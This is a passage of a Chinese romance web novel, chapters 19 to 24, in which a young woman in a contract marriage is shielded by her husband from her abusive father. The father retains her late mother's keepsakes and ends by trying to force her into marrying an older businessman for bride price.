苏荷雨咬了咬嘴唇,“爸,我姐嫁的那个人,看着也就二十七八,不像离过婚的,更不像有孩子。她是不是没跟岳老板结婚?” 电话那头沉默了几秒。 “你说什么?”苏国强的声音沉下来,“她没跟岳老板结婚?” “我也不知道。”苏荷雨委屈巴巴地说,“我就是想跟姐姐打个招呼,可她不理我,还让那个男人凶我。爸,我姐是不是对我有意见啊?我也没做错什么……” “那个男人长什么样?”苏国强打断她。 苏荷雨想了想,“挺高的,黑黑的,看着像干工地的。不过他骑着辆新摩托车,可气派了。” “摩托车?”苏国强声音更沉了,“你姐在哪儿住?” “就我们家属院隔壁那栋楼。”苏荷雨说,“槐花胡同三号楼。” “行,我知道了。”苏国强说,“明天我去趟省城。” 苏荷雨眼睛亮了,“爸你要来?那我跟钧礼去接你——” “不用。”苏国强说,“你好好念书,别操心这些。我找你姐说清楚。” 挂了电话,苏荷雨嘴角弯起来。 苏念橙,你不是得意吗?等爸来了,看你还怎么得意。 …… 槐花胡同三号楼。 苏念橙推开门,把手里的菜放到桌上,脸上还带着笑。 越靳临看着她,嘴角微微弯了弯,“这么高兴?” 苏念橙愣了一下,摸摸脸,“有吗?” “有。”越靳临把菜拎进厨房,“从电影院回来就一直笑。” 苏念橙跟进去,想起苏荷雨那张绿了的脸,忍不住又笑了。 “就是看见那两人脸色,挺痛快的。” 越靳临回头看她,“就因为这个?” 苏念橙点点头,又摇摇头,“也不全是。电影也挺好看的。” 越靳临没戳穿她,只是问,“晚上想吃什么?” 苏念橙看看他手里的菜,“都行,你做什么我吃什么。” 越靳临把菜放到案板上,“菜不多,将就吃点。” 苏念橙凑过去看,确实没几样。 他们去得晚,菜市场快收摊了,就剩些土豆白菜,还有一块五花肉。 “够了。”她说,“咱俩也吃不了多少。” 越靳临嗯了一声,系上围裙开始洗菜。 苏念橙站在旁边看,忽然想起什么,“我帮你。” “不用。”越靳临把她往外推,“你歇着。” 苏念橙被他推着走,她也没抗拒了,“好,那我等着。” “嗯。” 她坐在桌边,看着他忙活的背影,心里暖暖的。 越靳临很快做好饭,两菜一汤,土豆炖肉,炒白菜,还有一碗紫菜蛋花汤。 苏念橙吃得香,一碗饭很快见底。 越靳临又给她盛了一碗,“多吃点。” 苏念橙接过碗,“你自己也吃啊,别光顾着我。” 越靳临嗯了一声,低头吃饭。 吃完饭,苏念橙和越靳临一起收拾碗筷。 正收拾着,忽然听见楼下有人喊。 “苏念橙!” 苏念橙手顿了顿,探头往窗外看。 楼下站着个人,穿着碎花裙子,正是苏荷雨。 她站在路灯下,仰着头往上看,看见苏念橙的窗户亮了,嘴角弯起来。 呵,果然住在这。 还是三层楼,她和何钧礼一家四口住的只是一层楼。 凭什么苏念橙嫁的男人就是三层楼的。 苏念橙放下碗,擦了擦手,对越靳临说,“我下去看看。” 越靳临点点头,“我陪你。” 两人下楼,苏荷雨站在楼门口,看见他们出来,脸上挤出个笑。 “姐,姐夫。” 苏念橙看着她,“有事?” 苏荷雨叹了口气,“姐,我就是来跟你说一声。爸明天来省城,要见你。” 苏念橙心里咯噔一下,脸上却没什么表情,“知道了。” 苏荷雨看着她,眼里带着笑,“姐,你别怪我跟爸说。我就是担心你,你一个人在外边,万一出点什么事……” “说完了?”苏念橙打断她。 苏荷雨愣了一下,“啊?” “说完了就回去吧。”苏念橙转身往回走,“天黑了,别在外边晃。” 苏荷雨站在原地,看着她的背影,咬了咬嘴唇。 越靳临看了她一眼,没说话,跟着苏念橙上楼。 回到家,苏念橙坐在桌边,脸色不太好。 越靳临倒了杯水递给她,“你爸明天来?” 苏念橙接过水杯,点点头,“嗯。” “想好怎么说了?” 苏念橙摇摇头,“没有。” 她喝了口水,把杯子放下,“他肯定会骂我。我坏了我妹妹的好事,她肯定添油加醋说了不少。” 第十九章 修罗场 越靳临在她旁边坐下,“为什么这么说?” 苏念橙愣了下,这是他第一次主动询问。 她也不矫情,“自从我母亲去世,我父亲娶了新的女人进门,对我这个继妹宠的不行,从小到大有任何我继妹不顺心的,都是我的过错。” 越靳临静静的听着,等听完后,他黑眸闪过心疼,“竟然他都这样对你了,为什么你还理会他?” 苏念橙揪住衣角,深深叹了口气,杏眸翻滚着泪花,“因为我爸一直拿我母亲的遗物要挟我……” 连她自己都不知道,为什么会对越靳临这般的信任,就这样说了这些话。 “你爸真不是个东西。”他递了一张纸巾给她,随后又说:“明天我陪你去。” 苏念橙愣了一下,抬头看他。 他脸上没什么表情,但那双眼眸看着她,黑沉沉的。 “你……你陪我?”她声音有点抖。 “嗯。”越靳临说,“明天正好没事。” 苏念橙心里涌起一股暖意,眼眶有点酸。 “谢谢你。”她说。 越靳临看着她,“又说谢谢。” 苏念橙愣了一下,忍不住笑了。 “那……那我不说了。” 越靳临嘴角微微弯了弯,“睡吧,明天还有事。” 苏念橙点点头,站起来往楼上走。 躺在床上,她盯着天花板,脑子里乱糟糟的。 苏国强要来,肯定是为了她没跟岳老板结婚的事。 他会怎么骂她?会不会打她? 她想起小时候,每次她惹苏荷雨不高兴,苏国强就会打她。 那时候她小,不懂为什么明明是苏荷雨先欺负她,挨打的却是自己。 后来她懂了,因为苏荷雨是金凤凰,她是没人要的野丫头。 她翻了个身,把脸埋进枕头里。 不知道过了多久,迷迷糊糊睡着了。 梦里,苏国强站在她面前,脸涨得通红,扬起手要打她。 她躲不开,闭上眼睛等着巴掌落下来。 可等了半天,巴掌没落下来。 她睁开眼,看见越靳临站在她面前,挡在她身前。 他说,别怕,我在。 她眼眶一热,醒了。 窗外已经亮了。 她坐起来,愣了一会儿,起身下楼。 厨房里照常飘来香味,越靳临系着围裙站在灶台前,听见动静回过头。 “醒了?洗脸吃饭。” 苏念橙嗯了一声,去洗漱。 坐到桌边,桌上摆着粥,咸菜,还有两个荷包蛋。 她咬了一口,蛋黄还是溏心的。 “好吃。”她说。 越靳临嗯了一声,把粥往她面前推了推,“多吃点。” 苏念橙低头喝着粥,心里那点慌乱慢慢散了些。 吃完饭,两人收拾收拾,坐在家里等着。 太阳一点点升高,照进屋里,把地板晒得暖洋洋的。 快十点的时候,楼下传来一阵脚步声,由远及近。 然后是敲门声。 “咚咚咚。” 苏念橙的心跟着跳了一下。 越靳临站起来,走过去开门。 门拉开,苏荷雨站在门口,穿着那件碎花裙子,头发梳得整整齐齐。 她脸上带着笑,正要开口,目光落在越靳临身上,愣了一下。 他身穿灰色工装服,露出的小麦色的肌肉线条,结实的很,阳光从背后照进来,把他棱角分明的脸照得格外清晰。 苏荷雨脸上的笑僵了一瞬,很快又恢复过来。 “姐夫,”她声音娇娇的,“我姐在家吗?” 越靳临看着她,没让开,也没说话。 苏荷雨被他看得有点不自在,往后退了半步,“我爸来了,想见我姐。” 苏念橙从屋里走出来,站在越靳临身边,“在哪儿见?” 苏荷雨看见她,脸上的笑更深了,“就在胡同口那棵梧桐树下。爸说想单独跟你聊聊。” 单独聊聊。 苏念橙心里冷笑,嘴上说,“行,我知道了。” 她转头看向越靳临,“你先去上班吧,别耽误工作。我自己去就行。” 越靳临摇摇头,“没事。” 他看向苏荷雨,“在梧桐树下是吧?我开车送她过去。” 苏荷雨愣了一下,赶紧说,“姐夫,不用麻烦了,就几步路。我爸就想跟我姐单独说几句话,你在旁边不太方便吧?” 她说完,又看向苏念橙,眼神里带着点得意。 苏念橙看着她那张假惺惺的脸,懒得跟她废话,“带路吧。” 苏荷雨张了张嘴,还想说什么,看见苏念橙已经往外走了,只好跟上去。 越靳临跟在苏念橙身边,没再说话。 三人走到胡同口,那棵老梧桐树底下,苏国强正背着手站着。 他穿着件灰扑扑的中山装,脸黑沉沉的,看见苏念橙过来,眉头立马皱起来。 “你还知道来?” 苏念橙停下脚步,没说话。 苏荷雨赶紧跑过去,挽住苏国强的胳膊,“爸,你别生气。姐来了就好。” 苏国强甩开她的手,盯着苏念橙,“我问你,岳老板是怎么回事?” 苏念橙看着他,声音平静,“没成。” “没成?”苏国强脸更黑了,“你当我是傻子?你没成,那这男人是谁?” 他指了指站在旁边的越靳临。 苏念橙深吸一口气,“我丈夫。” 苏国强愣了一下,随即火冒三丈,“你——你个不要脸的东西!让你去相亲,你倒好,自个儿找个野男人结婚!你眼里还有没有我这个爹?” 苏念橙攥紧拳头,指甲掐进掌心。 她想起母亲留下的那些东西,压在苏国强手里。 忍。 她咬着牙,把那些话咽回去。 苏荷雨在旁边轻轻拍着苏国强的背,“爸,你别生气。姐可能也是一时糊涂,你别气坏身子。” 苏国强喘着粗气,指着苏念橙的鼻子骂,“我辛辛苦苦把你养大,你就这么报答我?你妹妹在省城念书不容易,你不说帮衬着点,还尽给她添堵?” 苏念橙忍不住开口,“我怎么给她添堵了?” “你还敢顶嘴?”苏国强瞪着她,“荷雨说了,你看见她就冷着脸,还让这男人凶她。她是你妹妹,你就这么对她?” 苏荷雨眼眶红了,低下头,“爸,算了,别说了。姐也不容易……” 苏国强拍拍她的手,“你别替她说话。她就是个白眼狼!” 第二十章 协议媳妇儿也是媳妇儿 苏国强转过头,盯着苏念橙,“今天我把话撂这儿。你既然嫁人了,就得有个当姐姐的样子。以后每个月给你妹妹寄五块钱,供她念书。” 苏念橙愣住了。 五块钱? 她一个月工钱才十八块,给了五块,还剩多少? “凭什么?”她抬起头。 “凭我是你爹!”苏国强往前走了一步,“凭我养你这么大!怎么,嫁了人,翅膀硬了,就不认我这个爹了?” 苏念橙气得浑身发抖,“我凭什么给她?她上大学,家里供着。我念书,你们谁说供我了?我初中都没念完,你们谁管过我?” 苏国强脸涨得通红,“你——你个不孝的东西!” 他扬起手,朝苏念橙脸上扇过去。 苏念橙闭上眼睛。 巴掌没落下来。 她睁开眼,看见越靳临站在她面前,一只手握住了苏国强的手腕。 苏国强挣了挣,没挣开。 “你——”他瞪着眼,“你放手!” 越靳临没放,只是看着他,声音平平的,“打人?” 苏国强被他那眼神看得有点发毛,但还是硬着头皮说,“我打我闺女,关你什么事?” “她是我媳妇儿。”越靳临说,“你说关不关我事?” 苏国强愣住了,这才反应过来,“你……你就是那个野男人?” 苏荷雨在旁边小声说,“爸,他就是姐夫。” 苏国强盯着越靳临,上下打量。 工装,靴子,古铜色的皮肤,粗糙的手。 干工地的。 他冷笑一声,“行啊苏念橙,你真有出息。找这么个干苦力的,你以后怎么过?” 越靳临松开他的手腕,从口袋里掏出张纸,递过去。 “把东西还回来。” 苏国强愣了一下,接过纸,低头一看,脸色变了。 那是张清单,上面列着几样东西。 金镯子,银锁,一块怀表,还有几张老照片。 都是苏念橙母亲留下的遗物。 “你——”苏国强抬起头,“你怎么知道这些?” 越靳临没回答,只是看着他,“三天之内,送到这个地址。” 他从口袋里掏出张纸条,塞进苏国强手里。 苏国强低头看了看,是槐花胡同三号楼的地址。 他的脸青一阵白一阵,攥着那张纸,手都在抖。 “苏念橙,”他咬着牙,“你就这么对你爹?为了个野男人,连家都不要了?” 苏念橙看着他,忽然笑了。 “家?”她声音很轻,“我哪儿来的家?” 苏国强愣住了。 “我妈死后,我就没家了。”苏念橙说,“你娶了后妈,生了妹妹,我就成了多余的人。住柴房,穿她剩的衣服,吃你们剩下的饭。我念书,你不让。我干活,你嫌少。我好不容易逃出来,你追到城里来,就为了让我给她钱?” 她看向苏荷雨,苏荷雨赶紧低下头。 “爸,”苏念橙收回目光,“你要断绝关系,那就断吧。” 苏国强脸都白了,“你——你说什么?” “我说,”苏念橙一字一顿,“既然你眼里只有她,那就当她是你闺女吧。我不稀罕。” 说完,她转身就走。 越靳临跟在她身边,牵起她的手。 苏国强站在原地,脸涨得通红,想追上去,又没动。 苏荷雨拉着他,“爸,算了。姐就那脾气,你别生气……” 回到家,苏念橙关上门,靠在门板上。 她低着头,肩膀抖了一下。 越靳临站在她面前,没说话。 过了好一会儿,她抬起头,眼眶红红的,但没哭。 “我没事。”她说,声音哑哑的。 越靳临看着她,伸手,轻轻摸了摸她的头。 “嗯。” 就一个字。 苏念橙眼眶更红了,使劲眨了眨眼,把眼泪憋回去。 “他就是那样的人,”她说,“我早就不指望了。” 越靳临没说话,只是又摸了摸她的头。 她忽然觉得鼻子酸得厉害,那股憋了好久的委屈全涌上来。 她低下头,把脸埋进他胸口。 越靳临愣了一下,随即伸手,轻轻揽住她。 他没说话,只是抱着她,手掌轻轻拍着她的背。 一下,一下,像哄小孩似的。 苏念橙埋在他怀里,闻着他身上那股淡淡的肥皂味,眼泪终于忍不住流下来。 她没出声,只是肩膀一耸一耸的。 越靳临抱着她,下巴抵在她头顶,闭上眼睛。 过了好一会儿,她抬起头,眼睛红红的,睫毛上还挂着泪。 “对不起。”她声音闷闷的,“把你衣服弄脏了。” 越靳临低头看她,伸手,用拇指抹掉她脸上的泪痕。 “没事。”他说,“哭出来就好了。” 苏念橙愣了一下,心里暖暖的,又酸酸的。 “你……你为什么对我这么好?”她小声说。 越靳临盯着她,柔声道:“因为你是我媳妇儿。” “可我们是协议的不是吗?” “协议的媳妇儿不也是媳妇儿吗?”越靳临脸不红心不跳的说。 苏念橙闻言眨眨眼,好像确实是这么一回事。 等反应过来她人还在他怀里,她脸一下子红了,连忙从男人身上起来。 “不…不好意思…”苏念橙眨巴着眼,不敢看越靳临。 越靳临笑了笑,“没事。” 空气忽然安静下来。 苏念橙低着头,耳尖还红着,心跳咚咚的,不知道说什么好。 “那个……”她开口,“我去洗把脸。” 说完转身就往里屋跑。 越靳临看着她慌慌张张的背影,嘴角微微弯了弯。 他走到窗边,往楼下看了一眼。 梧桐树下,苏国强还站在那里,手里攥着那张纸条,脸黑沉沉的。苏荷雨在旁边说着什么,他一个字也没听进去。 三天。 他眯了眯眼。 要是那人不把东西送回来—— 忽然,身后传来一声惊呼。 “啊——” 是苏念橙的声音。 越靳临心头一紧,转身就往里屋冲。 门猛地被推开。 “怎么了?” 越靳临站在门口,日光从他身后透进来,在地上拉出一道长长的影子。 他的目光迅速扫过地上的碎瓷片,最后定格在她身上。 苏念橙坐在地上,一只手撑着地,另一只手悬在半空,掌心渗出血珠。 她抬起头,对上他的视线,忽然忘了疼。 他走过来,蹲下身。 “别动。” 第二十一章 弄疼你了? 话音刚落,苏念橙就感觉身子一轻。 越靳临弯腰把她横抱起来。 “啊——”苏念橙惊呼一声,脸腾地红了,下意识搂住他的脖子,“你、你干嘛……” “抱你起来。”他说的理所当然,大步往客厅走。 越靳临感受着重量,只觉得她轻的像羽毛。 苏念橙被他抱着,心跳快得像要从嗓子眼蹦出来。 他的手臂结实有力,稳稳托着她,隔着薄薄的布料,她能感觉到他胸膛的温度。 她把脸埋低,耳尖红透了。 越靳临把她放到椅子上,蹲下来,“我看看。” 苏念橙伸出手,掌心和脚背有一道口子,还在往外渗血。 “等着。”他起身进了里屋,再出来时手里多了个医药箱。 他蹲在她面前,打开箱子,拿出碘酒和纱布。 苏念橙看着他,心里暖暖的,又有点不好意思,“我自己来就行……” “别动。”他没抬头,手伸过来想握住她的脚,准备放到自己膝盖上处理。 苏念橙下意识往后缩了一下,“脏……” 越靳临手顿了顿,抬头看她。 “不脏。”他说,握住她的脚踝,轻轻放到自己膝盖上。 苏念橙愣住了。 他低着头,用棉签沾了碘酒,小心翼翼地给她消毒。 动作很轻,怕弄疼她似的。 她看着男人的宽厚的肩膀和俊俏的脸庞,心里像被什么东西塞得满满的。 “疼吗?”他问。 苏念橙摇摇头,“不疼。” 其实有点疼,碘酒蛰得伤口火辣辣的。 但她不想说。 越靳临抬头看了她一眼,没说话,继续低头处理。 口子确实不小,消毒完还在往外渗血。 他皱了皱眉,“这口子挺深,得去诊所看看。” 苏念橙愣了一下,赶紧摇头,“不用不用,就划了一下,没事的。包上就好了。” “不行。”越靳临站起来,“口子不小,万一感染了麻烦。” 苏念橙张了张嘴,想说什么,又咽回去。 她想起以前在乡下,有次干活腿脱臼了,肿得老高,一瘸一拐走回家。 苏国强看了一眼,连问都没多问一句。 更别说带她去看了。 那时候她就知道,她在这个家,是没人管的。 眼眶忽然有点酸。 “怎么了?”越靳临蹲下来,看着她。 苏念橙偏过头,使劲眨了眨眼,“没事。” 越靳临看着她的侧脸,沉默了两秒。 “我弄疼你了?” 苏念橙摇摇头,声音有点闷,“没有。” 话音刚落,身子一轻。 他又把她抱起来了。 “哎——”苏念橙吓了一跳,搂住他的脖子,“你这是干嘛呀……” “去诊所。”他抱着她往外走。 苏念橙急了,“我真没事,不用去——” “不远,就在胡同口。”他脚步没停,“看看放心。” 苏念橙被他抱着,脸又红了,心跳咚咚的。 她张了张嘴,想说什么,又不知道该说什么。 算了。 她把脸埋低,闻着他身上那股淡淡的肥皂味,心里那点酸涩慢慢散了些。 下楼的时候,她偷偷往梧桐树那边瞄了一眼。 苏国强和苏荷雨早就没影了。 越靳临抱着她走到摩托车旁,把她放到后座上,“坐稳了。” 他跨上车,回头看她,“扶好。” 苏念橙一只手扶着座位,另一只手悬着,不知道该放哪儿。 越靳临拉过她的手,放到自己腰上,“搂紧。” 苏念橙脸一红,轻轻搂住他的腰。 摩托车发动,往胡同口开去。 诊所确实不远,拐个弯就到。 一间小平房,门口挂着个白底红字的牌子。 槐花胡同卫生所。 越靳临停好车,把她抱下来。 苏念橙站好了,“我自己走……” 越靳临没说话,扶着她往里走。 诊所不大,就一间屋子,摆着张诊疗床和几张椅子。 一个穿白大褂的年轻男人正坐在桌边看报纸,听见动静抬起头。 “哟,越工!”他站起来,笑着迎过来,“好久不见啊!” 越靳临点点头,“吴大夫。” 吴大夫目光落在苏念橙身上,眼睛亮了,“这是……你媳妇儿?” 越靳临嗯了一声。 “哎哟喂!”吴大夫笑得眼睛眯成一条缝,“越工你可以啊!媳妇儿长得真俊!来来来,快坐快坐!” 苏念橙被他夸得不好意思,低下头。 越靳临扶她坐到椅子上,“她手和脚划伤了,你给看看。” 吴大夫凑过来看了看,“哟,口子不小。怎么弄的?” “摔了一跤,碎瓷片划的。”苏念橙小声说。 吴大夫点点头,“得缝两针。不过放心,小伤口,不碍事。” 他转身去准备东西,一边忙活一边絮叨,“越工你可真行,悄没声儿就娶了媳妇儿。上回见你你还单着呢,这回就带媳妇儿来了。” 越靳临没接话,只是看着苏念橙。 吴大夫准备好东西,开始给她处理伤口。 消毒,打麻药,缝针,动作麻利。 苏念橙咬着嘴唇,忍着疼。 “疼吗?”越靳临问。 苏念橙摇摇头,“不疼。” 其实疼,但她不想让他担心。 缝完针,吴大夫给她包上纱布,“好了。这两天别沾水,过一周来拆线。” 苏念橙点点头,“谢谢吴大夫。” “不客气不客气。”吴大夫摆摆手,看向越靳临,“越哥,这钱……” 他有点不好意思,“我那门店的租金,这个月可能要延几天……” 越靳临从口袋里掏出钱,放到桌上,“没事。” 吴大夫愣了一下,“不用不用,这医药费我哪能收——” “收着。”越靳临扶着苏念橙站起来,“租金的事,不急。” 吴大夫张了张嘴,不知道该说什么,最后只憋出一句,“那……那谢谢越哥。” 越靳临没再多说,扶着苏念橙往外走。 出了诊所,苏念橙忍不住问,“他为什么给你租金?” 越靳临脚步顿了顿,“他那门店,是我租给他的。” 苏念橙愣了一下,“你租的?” “嗯。”他扶着她往摩托车走,“那片有几间门面,都是我的。” 苏念橙愣住了。 她想起那天何钧礼说的话。 一个干工地的,能有什么钱? 可这……这不像没钱的样子啊。 第二十二章 喜欢现在这样 “上车吧。” 越靳临跨上车,回头看她。 苏念橙回过神,坐到他身后,“谢谢你哈,越靳临。” “嗯,不客气。”越靳临微挑眉头。 摩托车发动,往家开。 风呼呼地吹,她把脸埋在他背上,脑子里乱糟糟的。 他到底是干什么的? 不是干工地的吗?怎么还有门面? 她想起办公室那些图纸,想起他说的那几句话。 三层,B区,承重墙的位置。 当时她没多想,现在想想,他好像对工地特别熟。 不是一般工人那种熟。 怎么说呢? 她说不清。 回到家,越靳临把她扶到椅子上坐下,“饿不饿?” 苏念橙摇摇头,“不饿。” 越靳临看了她一眼,转身进了厨房。 不一会儿,他端着碗出来,放到她面前。 红糖水,还冒着热气。 “喝点甜的。”他说,“压压惊。” 苏念橙看着那碗红糖水,心里暖暖的,又酸酸的。 她端起碗,小口小口地喝。 甜丝丝的,一直暖到心里。 “谢谢。”她轻声说。 越靳临在她旁边坐下,“今天早点休息,明天别去上班了。” 苏念橙愣了一下,“那怎么行——” “工钱照发。”他打断她,“手伤了,在家歇着。” “老板不会生气吗?” 越靳临顿了下,“不会,我和老板认识。” 这个解释还挺合理的。 “哦哦好。”苏念橙点点头。 喝完红糖水,她去洗漱。 手不能沾水,只能小心地洗。 越靳临站在门口,“要我帮忙吗?” 苏念橙脸一红,“不用不用!我自己能行!” 她洗漱完出来,脸还是红的。 越靳临靠在走廊墙上,看着她,“洗好了?” 苏念橙点点头,从他身边走过,想回屋。 “等等。”他忽然开口。 苏念橙停下脚步,回头看他。 越靳临走过来,低头看着她,“刚才在想什么?” 苏念橙愣了一下,“什么?” “在诊所门口。”他说,“问你那些门面的事,你想什么呢?” 苏念橙没想到他注意到了,心里一慌,低下头,“没、没什么……” 越靳临看着她红透的耳尖,嘴角微微弯了弯。 “觉得我是干工地的,不该有门面?” 苏念橙抬起头,对上他那双黑沉沉的眼睛,想解释,又不知道该怎么说。 “我不是那个意思……”她小声说,“就是有点意外。” 越靳临没说话,只是看着她。 苏念橙被他看得心跳加速,低下头盯着自己的鞋尖。 “我就是……”她咬了咬嘴唇,“就是觉得你好像跟我想的不太一样。” “怎么不一样?” “就是……”她想了想,“你懂的挺多的。图纸啊,设计啊,那些事。不像一般的工人。” 越靳临沉默了两秒。 “我学过工程的。”他说,“后来攒了点钱,买了些门面。” 苏念橙抬起头,“那你现在呢?” “现在?”他看着她,“在工地干活。” 苏念橙愣住了,“为什么呀?你都有门面了,还去工地干活?” 越靳临看着她,忽然笑了一下。 “我喜欢。”他说。 苏念橙眨眨眼,有点懵。 喜欢?喜欢在工地干活? 她想起那些灰扑扑的钢筋水泥,想起那些汗流浃背的工人。 怎么会有人喜欢干那个? 可看着他那双眼睛,她又觉得,他说的好像是真的。 “那……”她顿了顿,“那你挺厉害的。” 越靳临挑了挑眉,“厉害?” “嗯。”苏念橙点点头,“能做自己喜欢的事,挺厉害的。” 越靳临看着她,眼神深了些。 她低着头,睫毛轻轻颤着,脸上还带点红晕。 他忽然想逗逗她。 “那你呢?”他问,“喜欢什么?” 苏念橙愣了一下,“我?” “嗯。”他往前走了半步,“你喜欢什么?” 苏念橙想了想,“我喜欢看书。还想考大学。” “还有呢?” “还有……”她认真想了想,“还喜欢吃你做的红烧肉。” 越靳临嘴角弯了弯,“就这些?” 苏念橙点点头,又摇摇头,“还有喜欢现在这样。” “现在这样?” “就是……”她有点不好意思,“有地方住,有饭吃,有人……有人对我好。” 越靳临看着她,心里软了一下。 “对你好,就喜欢了?” 苏念橙抬起头,对上他的眼睛,心跳忽然快了几拍。 他离得很近,近到能闻到他身上那股淡淡的肥皂味。 她忽然觉得脸烫得厉害。 “我……”她往后退了半步,“我回屋了。” 她转身想跑,却被一只手拉住了。 “等等。”越靳临说。 苏念橙回过头,看着他。 他低头看着她,眼里带着笑意。 “你还没说完。”他说。 苏念橙眨眨眼,“说……说什么?” “说为什么喜欢现在这样。” 苏念橙张了张嘴,不知道该说什么。 她只觉得心跳快得像要从嗓子眼蹦出来,耳朵根子都烫得厉害。 “我……”她结结巴巴,“我就是……就是觉得……” 越靳临看着她窘迫的样子,忍不住笑了。 “好了。”他松开手,“不逗你了。去午睡吧。” 苏念橙愣了一下,反应过来他是在逗自己,脸更红了。 “你……”她瞪着他,“你怎么这样……” 越靳临看着她红透的脸,像只受惊的小兔子,可爱得紧。 “我怎么了?”他问。 苏念橙张了张嘴,想说什么,又不知道该说什么。 最后只憋出一句,“你……你欺负人。” 说完转身就跑,砰地关上门。 越靳临站在原地,看着她紧闭的房门,嘴角的笑意更深了。 他靠在墙上,想起她刚才那个样子。 脸红红的,眼睛亮亮的,又羞又恼,偏偏还装出一副凶巴巴的样子。 像只炸毛的小兔子。 他忽然觉得,结婚这事,好像挺不错的。 而且这姑娘更是好。 屋里,苏念橙靠在门板上,捂着胸口喘气。 心跳快得吓人,脸烫得像发烧。 她刚才……刚才差点说出什么来着? 就是觉得…… 觉得什么? 觉得他对自己好? 觉得跟他在一起安心? 还是觉得……觉得他长得好看? 她想起他刚才站在自己面前,低头看自己的样子。 那双眼睛黑沉沉的,像能把人吸进去。 她使劲摇头,把那些乱七八糟的念头甩出去。 睡觉睡觉。 可躺在床上,翻来覆去睡不着。 脑子里全是他的样子。 迷糊之际,又睡了过去。 第二十三章 人面兽心 接下来的两天,苏念橙都在家里养伤。 其实伤得不重,走路慢点,干活小心点就行。 但越靳临不让,早上出门前把饭做好,中午托人送回来,晚上一下班就往家赶。 苏念橙过意不去,“我真没事了,明天让我去上班吧。” 越靳临正在厨房忙活,头也不回,“不行。” “可是——” “没有可是。” 苏念橙张了张嘴,把话咽回去。 她靠在厨房门口,看着他的背影,心里又暖又有点无奈。 这人怎么这样啊,说一不二的。 不过…… 她看着他把切好的菜下锅,油锅里滋啦一声响,香味飘出来。 不过他做的饭真好吃。 “今天买了什么?”她凑过去看。 “炸糕。”越靳临指了指旁边,“胡同口新开了一家,排队的人挺多。” 苏念橙眼睛亮了,“炸糕?” “嗯。”他把锅里的菜盛出来,转身看她,“想吃?” 苏念橙点点头,又摇摇头,“排队长就算了,怪麻烦的。” “不麻烦。”越靳临把炸糕递给她,“买了,吃吧。” 苏念橙接过纸包,里头两个金黄的炸糕,还冒着热气。 她咬了一口,外酥里嫩,甜丝丝的。 “好吃!”她眼睛弯起来。 越靳临看着她吃得开心的样子,嘴角微微弯了弯,“好吃就多吃点。” 苏念橙点点头,又咬了一口。 这两天他天天带好吃的回来,糖葫芦、烤红薯、麻花、炸糕,一样接一样。 她都快被他喂胖了。 第三天,苏念橙一觉睡到自然醒。 阳光透过窗帘的缝隙照进来,在地板上投下一道金黄的印子。 她坐起来,发了会儿呆,忽然想起什么。 今天第三天了。 三天前越靳临让苏国强把母亲的遗物送回来,说三天之内送到这个地址。 今天刚好是第三天。 她看了看窗外,太阳已经老高了,胡同里有人走动,有小孩在楼下追着跑。 会送来吗? 她想起苏国强那张黑沉沉的脸。 那种人,怎么可能会乖乖把东西送回来? 她叹了口气,起床洗漱。 厨房里有越靳临做好的早饭,粥和咸菜,还有两个荷包蛋,用碗扣着,还是温的。 她坐下来慢慢吃,一边吃一边看着门口。 吃了半天,门口没动静。 她把碗洗了,坐到桌边看书。 看了一会儿,又抬头看门口。 还是没动静。 她摇摇头,把注意力收回来,继续看书。 不知不觉到了中午,她起身去厨房热了热剩饭,随便吃了点。 吃完饭,她又坐到桌边看书。 太阳一点点西斜,屋里的光线慢慢暗下来。 她揉了揉眼睛,站起来活动活动筋骨。 就在这时,门被敲响了。 苏念橙心里一跳,放下书,起身下楼。 门拉开,外头站着个人。 是苏荷雨。 苏念橙想都不想就要关门。 “姐!”苏荷雨一把推住门,“你别急着关门啊,我有话跟你说。” 苏念橙看着她那张假惺惺的脸,心里一阵恶心。 “有话快说,有屁快放。” 苏荷雨脸上的笑僵了一下,但很快又恢复过来,“姐,你别这样。我是来告诉你,爸病了。” 苏念橙愣了一下,“是吗?” 苏荷雨叹了口气,“姐,你不知道。那天你走了以后,爸气得不行,回家就倒下了。这两天一直在诊所打点滴,今天才好点。我想着,不管怎么说他也是你爸,你总该看看他吧?” 苏念橙看着她,心里冷笑。 演戏演得挺像。 可她不想跟过多纠缠,早点打发了早点清净。 “在哪个诊所?” 苏荷雨眼睛一亮,“就胡同口那个卫生所!姐你愿意去?那太好了!我带你去!” 她伸手想来拉苏念橙,苏念橙往后躲开,“我自己走。” 苏荷雨也不恼,笑着在前面带路。 苏念橙走在最后,心里总觉得哪里不对。 可已经到了这一步,不去看看也说不过去。 再说了,就几步路,能出什么事? 胡同口那间卫生所,就是前两天越靳临带她来的那间。 吴大夫正坐在桌边看报纸,听见动静抬起头。 看见苏念橙,他眼睛一亮,“哟,嫂子来了!伤口恢复得怎么样?” 苏念橙笑了笑,“挺好的,谢谢吴大夫。” 吴大夫正要说什么,他身旁的怪人,忽然上前一步,一把抓住苏念橙的胳膊。 是苏国强,半小时前就莫名其妙出现在他诊所里,嚷嚷要坐坐的人。 现在看,原来和嫂子认识。 “跟我走。” 苏念橙愣住了,“你干什么?” 说有病的人,此时哪里有病样。 苏国强没说话,拽着她往里走。 吴大夫也愣了,“哎,这是——” 苏国强瞪了他一眼,“我跟我闺女说话,你少管闲事!” 苏念橙被他拽着,挣了挣没挣开,“你放开我!” 苏荷雨跟在后头,脸上带着笑,“姐,你别挣扎了,爸有话跟你说。” 苏国强把苏念橙拽进诊所最里面一间屋子,这才松开手。 苏念橙揉着被攥疼的胳膊,瞪着他,“你到底要干什么?” 苏国强没理她,转身往外喊了一句,“岳老板,进来吧。” 苏念橙愣住了。 岳老板? 门帘掀开,走进来一个四十来岁的男人。 矮胖,秃顶,满脸横肉,穿着件皱巴巴的西装,咧着嘴笑,露出一口黄牙。 他上下打量着苏念橙,目光在她身上转了一圈,最后停在脸上,满意地点点头。 “这就是念橙吧?长得可真俊。” 苏念橙脑子里嗡的一声。 她看向苏国强,声音发抖,“你什么意思?” 苏国强冷笑一声,“什么意思?你不是想要你妈的遗物吗?行,我给你。” 他指着那个男人,“你跟你那个野男人离婚,嫁给岳老板。彩礼一到手,东西立马还你。” 苏念橙不敢相信自己的耳朵。 她看着苏国强,那张熟悉的脸此刻陌生得可怕。 “你……你说什么?” “怎么,没听清?”苏国强往前一步,“我说,你跟那个干工地的离婚,嫁给岳老板。你不是要你妈的遗物吗?嫁了,就给你。” 第二十四章 女婿 岳老板凑过来,笑得油腻,“念橙同志,你别怕。我虽然结过婚,但孩子都跟着他们妈,不碍事。你跟了我,吃香的喝辣的,保准比你那个干工地的强。” 